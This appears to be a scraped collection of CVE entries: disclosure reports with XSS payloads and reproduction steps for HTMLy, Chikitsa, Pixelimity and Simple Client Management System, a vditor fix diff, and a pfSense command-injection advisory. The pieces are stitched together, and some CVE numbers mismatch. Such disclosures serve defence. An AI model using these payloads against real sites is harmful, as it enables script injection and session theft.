Cross Site Scripting (XSS) vulnerability exists in Maccms v10 via link_Name parameter.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-43707: XSS · Issue #18 · maccmspro/maccms10

A Cross Site Scripting (XSS) vulnerability exists in htmly.2.8.1 via the Copyright field in the /admin/config page.

Vulnerabilty found in HTMLy v2.8.1 by "HAXSS" a Reinforcement Learning Agent for Cross Site Scripting (XSS) testing.

**Description:**

A Cross Site Scripting (XSS) vulnerability exists in htmly.2.8.1 via the Copyright field in the /admin/config page.

**Known Payloads:**

*   "</span>< body onmouseover=alert(1805427201)></body>

**Steps to Reproduce:**

1\. Log into the admin pannel ('/login').

2\. Use the dashboard to navigate to the config page ('/admin/config')

3\. Edit the "Copyright" field on the page to a malicious payload

![](http://rlsec.xyz/vulns/images/htmly_4.png)

![](http://rlsec.xyz/vulns/images/htmly_5.png)

4\. Save the settings

5\. Navigate to the home page '/' and the vulnerability is shown

![](http://rlsec.xyz/vulns/images/htmly_6.png)

CVE-2021-42946: CVE-2021-42946: HTMLy 2.8.1 XSS vulnerability

A Cross Site Scripting (XSS) vulnerability exists in Chikista Patient Management Software 2.0.2 via the last_name parameter in the (1) patient/insert, (2) patient_report, (3) /appointment_report, (4) visit_report, and (5) /bill_detail_report pages.

Vulnerabilty found in Chikitsa by "HAXSS" a Reinforcement Learning Agent for Cross Site Scripting (XSS) testing.

**Description:**

The "Last Name" field of the "/patient/insert" page of Chikitsa 2.0.2 is subject to a Cross Site Scripting (XSS) vulnerability, that appears on multiple pages: /patient/patient\_report, /appointment/appointment\_report, /patient/visit\_report, /patient/bill\_detail\_report This allows malicious users to send an authenticated POST HTTP request to inject JavaScript or HTML.

**Known Payloads:**

*   </script><style onload=alert(token)> </style>
*   \></script><script> onerror=alert(token)</script>

**Steps to Reproduce:**

1\. Log into the admin panel ('index.php/login/index').

2\. Use the dashboard to navigate to the Add Patient page ('/patient/insert')

3\. Edit the "Last Name" field on the page to a malicious payload

![](http://rlsec.xyz/vulns/images/chikitsa_1.png)

![](http://rlsec.xyz/vulns/images/chikitsa_6.png)

4\. Save the settings

5\. Navigate to any of 'patient/patient\_report', 'patient/visit\_report', 'patient/bill\_detail\_report' and the vulerbility is shown

CVE-2021-42869: CVE-2021-42869: Chikitsa 2.0.2 XSS vulnerability

A Cross Site Scripting (XSS) vulnerability exists in DanPros htmly 2.8.1 via the Description field in (1) admin/config, and (2) index.php pages.

Vulnerabilty found in HTMLy v2.8.1 by "HAXSS" a Reinforcement Learning Agent for Cross Site Scripting (XSS) testing.

**Description:**

The "Description" field of the "/admin/config" page of htmly 2.8.1 is subject to a Cross Site Scripting (XSS) vulnerability. This allows malicious users to send an authenticated POST HTTP request to inject JavaScript or HTML.

**Known Payloads:**

*   </body><body onmouseover=alert(1455055833)></body>

**Steps to Reproduce:**

1\. Log into the admin pannel ('/login').

2\. Use the dashboard to navigate to the config page ('/admin/config')

3\. Edit the "Description" field on the page to a malicious payload

![](http://rlsec.xyz/vulns/images/htmly_1.png)

![](http://rlsec.xyz/vulns/images/htmly_2.png)

4\. Save the settings

5\. Navigate to the home page '/' and the vulnerability is shown

![](http://rlsec.xyz/vulns/images/htmly_3.png)

CVE-2021-42867: CVE-2021-42967: HTMLy 2.8.1 XSS vulnerability

A Cross Site Scripting (XSS) vulnerability exists in Chikista Patient Management Software 2.0.2 in the first_name parameter in (1) patient/insert, (2) patient_report, (3) appointment_report, (4) visit_report, and (5) bill_detail_report pages. .

Vulnerabilty found in Chikitsa by "HAXSS" a Reinforcement Learning Agent for Cross Site Scripting (XSS) testing.

**Description:**

The "First name" field of the "/patient/insert" page of Chikitsa 2.0.2 is subject to a Cross Site Scripting (XSS) vulnerability, that appears on multiple pages: /patient/patient\_report, /appointment/appointment\_report, /patient/visit\_report, /patient/bill\_detail\_report This allows malicious users to send an authenticated POST HTTP request to inject JavaScript or HTML.

**Known Payloads:**

*   </script><style onload=alert(token)> </style>
*   \></script><script> onerror=alert(token)</script>

**Steps to Reproduce:**

1\. Log into the admin panel ('index.php/login/index').

2\. Use the dashboard to navigate to the Add Patient page ('/patient/insert')

3\. Edit the "First Name" field on the page to a malicious payload

![](http://rlsec.xyz/vulns/images/chikitsa_1.png)

![](http://rlsec.xyz/vulns/images/chikitsa_2.png)

4\. Save the settings

5\. Navigate to any of 'patient/patient\_report', 'patient/visit\_report', 'patient/bill\_detail\_report' and the vulerbility is shown

CVE-2021-42868: CVE-2021-42868: Chikitsa 2.0.2 XSS vulnerability

A Cross Site Scripting vulnerabilty exists in Pixelimity 1.0 via the Site Description field in pixelimity/admin/setting.php

Vulnerabilty found in Pixelimity by "HAXSS" a Reinforcement Learning Agent for Cross Site Scripting (XSS) testing.

**Description:**

The "Site Description" field of the "pixelimity/admin/setting.php" page of Pixelimity CMS is subject to a Cross Site Scripting (XSS) vulnerability. This allows malicious users to send an authenticated POST HTTP request to inject JavaScript or HTML.

**Known Payloads:**

*   "></input><style onload=alert(2591776654)></style>

**Steps to Reproduce:**

1\. Log into the admin panel ('admin/signin.php').

2\. Use the dashboard to navigate to the config page ('admin/setting.php')

3\. Edit the "Site Description" field on the page to a malicious payload

![](http://rlsec.xyz/vulns/images/pixelimity_1.png)

![](http://rlsec.xyz/vulns/images/pixelimity_2.png)

4\. Save the settings

5\. Vulnerability is shown

![](http://rlsec.xyz/vulns/images/pixelimity_3.png)

CVE-2021-42866: CVE-2021-42866: Pixelimity 1.0 XSS vulnerability

Multiple Cross Site Scripting (XSS) vulnerabilities exist in Ssourcecodester Simple Client Management System v1 via (1) Add new Client and (2) Add new invoice.

\# Exploit Title: Simple Client Management System 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) # Exploit Author: Sentinal920 # Date: 5-11-2021 (5th Nov 2021) # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip # Version: 1.0 # Tested on: Kali Linux # Vulnerable page: client,invoice # Vulnerable Parameters: "lastname", "remarks" Technical description: A stored XSS vulnerability exists in the Simple Client Management System. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. Steps to exploit: 1) Navigate to http://localhost/cms/admin/?page=client 2) Click on add new client 3) Insert your payload in the "lastname" parameter or the "description" parameter 4) Click save Proof of concept (Poc): The following payload will allow you to run the javascript - 1) XSS POC in Add New Client POST /cms/classes/Master.php?f=save\_client HTTP/1.1 Host: localhost Content-Length: 1026 sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99" Accept: application/json, text/javascript, \*/\*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIBW1SfSFiXMKK7Nt X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/cms/admin/?page=client/manage\_client Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn Connection: close ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="lastname" ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="firstname" anything ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="middlename" anything ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="gender" Male ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="dob" 2021-11-03 ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="contact" xxxxxxxxxx ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="address" xxxxxx ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="email" xxxx@xxx.com ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="avatar"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt-- 2) XSS POC in Add New Invoice POST /cms/classes/Master.php?f=save\_invoice HTTP/1.1 Host: localhost Content-Length: 1032 sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99" Accept: application/json, text/javascript, \*/\*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEk0iOWhhoA0lApXo X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/cms/admin/?page=invoice/manage\_invoice Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn Connection: close ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="id" ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="client\_id" 1 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="service\_id\[\]" 1 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="price\[\]" 250 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="discount\_perc" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="discount" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="tax\_perc" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="tax" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="total\_amount" 250 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="remarks" ------WebKitFormBoundaryEk0iOWhhoA0lApXo--

CVE-2021-43505

Cross-site Scripting (XSS) - Stored in GitHub repository vanessa219/vditor prior to 3.8.13.

Skip to content

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    *   Explore
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Blog
    
*   *   For
    *   Enterprise
    *   Teams
    *   Startups
    *   Education
    
    *   By Solution
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    *   Case Studies
    *   Customer Stories
    *   Resources
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    *   Repositories
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

*   Notifications
*   Fork 643

*   Code
*   Issues 83
*   Pull requests 1
*   Security
*   Insights

Permalink

Showing **4 changed files** with **7 additions** and **6 deletions**.

*   CHANGELOG.md
*   *   comment.js
*   package.json
*   *   lute.min.js

  

@@ -99,6 +99,7 @@

  

### v3.8.13 / 2022-04

  

\* \[1206\](https://github.com/Vanessa219/vditor/issues/1206) 评论语法解析和行级 HTML 解析冲突 \`修复缺陷\`

\* \[1054\](https://github.com/Vanessa219/vditor/issues/1054) disabled 后应禁止粘贴 \`修复缺陷\`

\* \[1162\](https://github.com/Vanessa219/vditor/issues/1162) XSS 安全漏洞 \`修复缺陷\`

\* \[1203\](https://github.com/Vanessa219/vditor/issues/1203) 支持 solidity, yul 语法 \`引入特性\`

@@ -66,7 +66,7 @@ const renderComments = (ids) => {

cmtElement.innerHTML \= \`<div>

${text}<br>

<button>删除</button><br>

<input>

<input>

</div>\`

cmtElement.value \= text

document.getElementById('comments').

@@ -127,7 +127,7 @@ window.vditor = new Vditor('vditor', {

cmtElement.innerHTML \= \`<div>

${text}<br>

<button>删除</button><br>

<input>

<input>

</div>\`

cmtElement.value \= text

if (index \=== 0) {

@@ -1,6 +1,6 @@

{

"name": "vditor",

"version": "3.8.12",

"version": "3.8.13",

"description": "♏ 易于使用的 Markdown 编辑器，为适配不同的应用场景而生",

"author": "Vanessa <v@b3log.org> (http://vanessa.b3log.org)",

"homepage": "https://b3log.org/vditor",

Large diffs are not rendered by default.

**0 comments on commit e912e36**

Please sign in to comment.

CVE-2022-0350: :arrow_up: · Vanessa219/vditor@e912e36

Permalink

Browse files

⬆️

*   Loading branch information

![@Vanessa219](https://avatars.githubusercontent.com/u/970828?s=40&v=4)

1 parent 17d9af5 commit e912e36ea98251d700499b1ac7702708d3398476

Showing with **7 additions** and **6 deletions**.

1.  +1 −0 CHANGELOG.md
2.  +2 −2 demo/comment.js
3.  +1 −1 package.json
4.  +3 −3 src/js/lute/lute.min.js

  

@@ -99,6 +99,7 @@

  

### v3.8.13 / 2022-04

  

\* \[1206\](https://github.com/Vanessa219/vditor/issues/1206) 评论语法解析和行级 HTML 解析冲突 \`修复缺陷\`

\* \[1054\](https://github.com/Vanessa219/vditor/issues/1054) disabled 后应禁止粘贴 \`修复缺陷\`

\* \[1162\](https://github.com/Vanessa219/vditor/issues/1162) XSS 安全漏洞 \`修复缺陷\`

\* \[1203\](https://github.com/Vanessa219/vditor/issues/1203) 支持 solidity, yul 语法 \`引入特性\`

@@ -66,7 +66,7 @@ const renderComments = (ids) => {

cmtElement.innerHTML \= \`<div>

${text}<br>

<button>删除</button><br>

<input>

<input>

</div>\`

cmtElement.value \= text

document.getElementById('comments').

@@ -127,7 +127,7 @@ window.vditor = new Vditor('vditor', {

cmtElement.innerHTML \= \`<div>

${text}<br>

<button>删除</button><br>

<input>

<input>

</div>\`

cmtElement.value \= text

if (index \=== 0) {

@@ -1,6 +1,6 @@

{

"name": "vditor",

"version": "3.8.12",

"version": "3.8.13",

"description": "♏ 易于使用的 Markdown 编辑器，为适配不同的应用场景而生",

"author": "Vanessa <v@b3log.org> (http://vanessa.b3log.org)",

"homepage": "https://b3log.org/vditor",

Large diffs are not rendered by default.

**0 comments on commit `e912e36`**

Please sign in to comment.

Improper input validation vulnerability in pfSense CE and pfSense Plus (pfSense CE software versions prior to 2.6.0 and pfSense Plus software versions prior to 22.01) allows a remote attacker with the privilege to change OpenVPN client or server settings to execute an arbitrary command.

\-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= pfSense-SA-22\_03.webgui Security Advisory pfSense Topic: Multiple vulnerabilities in the WebGUI Category: pfSense Base System Module: webgui Announced: 2022-01-13 Credits: Yutaka WATANABE of Ierae Security, Inc. via JPCERT/CC CVE ID: CVE-2022-24299 Affects: pfSense Plus software versions < 22.01 pfSense CE software versions < 2.6.0 Corrected: 2022-01-14 17:24:32 UTC (pfSense Plus master) 2022-01-17 17:45:31 UTC (pfSense Plus 22.01) 2022-01-14 17:24:32 UTC (pfSense CE master) 2022-01-17 17:45:31 UTC (pfSense CE 2.6.0) 0. Revision History v1.2 2022-03-08 Removed JVN ID, added CVE ID, updated solution information. v1.1 2022-02-14 Fix Redmine link v1.0 2022-01-13 Initial SA draft I. Background pfSense® software is a free network firewall distribution based on the FreeBSD operating system. The pfSense software distribution includes third- party free software packages for additional functionality, and provides most of the functionality of common commercial firewalls. pfSense® Plus is the productized version of pfSense software from Netgate®, previously referred to as pfSense Factory Edition (FE). It is available to Netgate appliance and CSP customers. The majority of users of pfSense software have never installed or used a stock FreeBSD system. Unlike similar GNU/Linux-based firewall distributions, there is no need for any UNIX knowledge. The command line is never used, and there is no need to ever manually edit any rule sets. Instead, pfSense software includes a web interface for the configuration of all included components. Users familiar with commercial firewalls will quickly understand the web interface, while those unfamiliar with commercial-grade firewalls may encounter a short learning curve. II. Problem Description The vpn\_openvpn\_server.php and vpn\_openvpn\_client.php pages in the pfSense Plus and pfSense CE software GUI did not properly validate user input passed via the data\_ciphers parameter in certain cases. This problems is present on pfSense Plus version 21.05.2, pfSense CE version 2.5.2, and earlier versions of both. When the client or server mode was set to p2p\_shared\_key, the GUI did not validate user input in the data\_ciphers parameter but the backend code still included the value of data\_ciphers in the OpenVPN configuration. By passing carefully crafted data including parameters which allow OpenVPN to execute scripts, an attacker could execute arbitrary shell commands and read or write arbitrary files. NOTE: The Custom Options field on OpenVPN client and server configuration pages also allows this type of action intentionally, but that field has a separate privilege which can limit access to prevent users from altering its contents. III. Impact An authenticated attacker with access the to affected page, even without access to the Custom Options field, could execute arbitrary shell commands, perform privilege escalation, information disclosure, denial of service, or other negative outcomes. IV. Workaround To help mitigate the problem on older releases, use one or more of the following: \* Limit access to the affected pages to trusted administrators only. V. Solution Users can upgrade to pfSense Plus software version 22.01 or later when available, or pfSense CE software version 2.6.0 or later. This upgrade may be performed in the web interface or from the console. See https://docs.netgate.com/pfsense/en/latest/install/upgrade-guide.html Users on pfSense Plus version 21.05.2 or pfSense pfSense CE version 2.5.2 may apply the fix from the recommended patches list in the System Patches package. Users may also manually apply the relevant revisions below using the System Patches package on pfSense pfSense Plus version 21.05.2 or pfSense CE version 2.5.2 and possibly on earlier versions. See https://docs.netgate.com/pfsense/en/latest/development/system-patches.html VI. Correction details The following list contains the correction revision commit ID for each affected item. Branch/path Revision ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ plus/plus-master 78ce96a9af3b2ab5159ef6623078bfc4b15f8a89 ba815f3d219e5bdf404be859e723db2ff0c9258c plus/plus-RELENG\_22\_01 68afc597b0545b57b605ae8200954b1b5a89bcad fae2f2d553f42479721db67fc4ff1ddb70caeffa pfSense/master 78ce96a9af3b2ab5159ef6623078bfc4b15f8a89 ba815f3d219e5bdf404be859e723db2ff0c9258c pfSense/RELENG\_2\_6\_0 68afc597b0545b57b605ae8200954b1b5a89bcad fae2f2d553f42479721db67fc4ff1ddb70caeffa ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ VII. References The latest revision of this advisory is available at \-----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEE40XvjEU56XSUPIMdE7mH/ZIU+NoFAmInWR0ACgkQE7mH/ZIU +NrSRQ//TZ79u1qK8Mrrc7XFc79EZPJGS7z4lK0OuhJ3V+ygFqkZEYPKjxxOBFWK 8SVn4NlzMTmiEoa136JhS4ONc519LNpLa/kaM0F0vuLcu/DywWpuzU6z5QpDL9jX kDmA9lCzY4pDU53Uuy3FTXO6BMgQTWaIS16fcUz+s0DdZi0hweZQypSBYZe48zmJ uzeJwY0TnDVYgJjriBn/nj6SMnN2DtSZmj+CpfHzQwTsl4P9RLXhoEBW9Vu0gaS7 cP1eKWWdJ1th5+Pt6KCFOuMiiWJ8O3j31xXSSsWiWLo7sUdd9It6CejaVP3w8cmn tMOw4m2pyeB+/H2Ao6hxqsFXGZv5gFPeUcVP82sJihtWMM4aZkP/rDSqUDC6cJwV fJ3hwfEhpfLFcxhlSDKAlLJSTQ9+Gnc7+0uC3mEcuDoApXuEo8yE0c6suqSKKsEb qvQiYERXPHrmDI+4y0msuEYUGbETS71ibZbpykiy1CQEKnnipO63WkOZ1XkCtv9P fwbiCN3xjz+XFKvT5EKJwhp0o0UjyYJxTjD8CLKQny0koy6mlo5R3J+5BjjktgYV RjlJJIxuRvscmmlrumUcuZdnsiK8Uvkw0YODzfjabm5SIf0E0OXIIfNv2jxjCdSX 5jZUNF70lGqSVrUz9JEeH+OfpMkGLf4CE/cBYIE7rGC257tDcLE= =n7jy -----END PGP SIGNATURE-----

Tag

#xss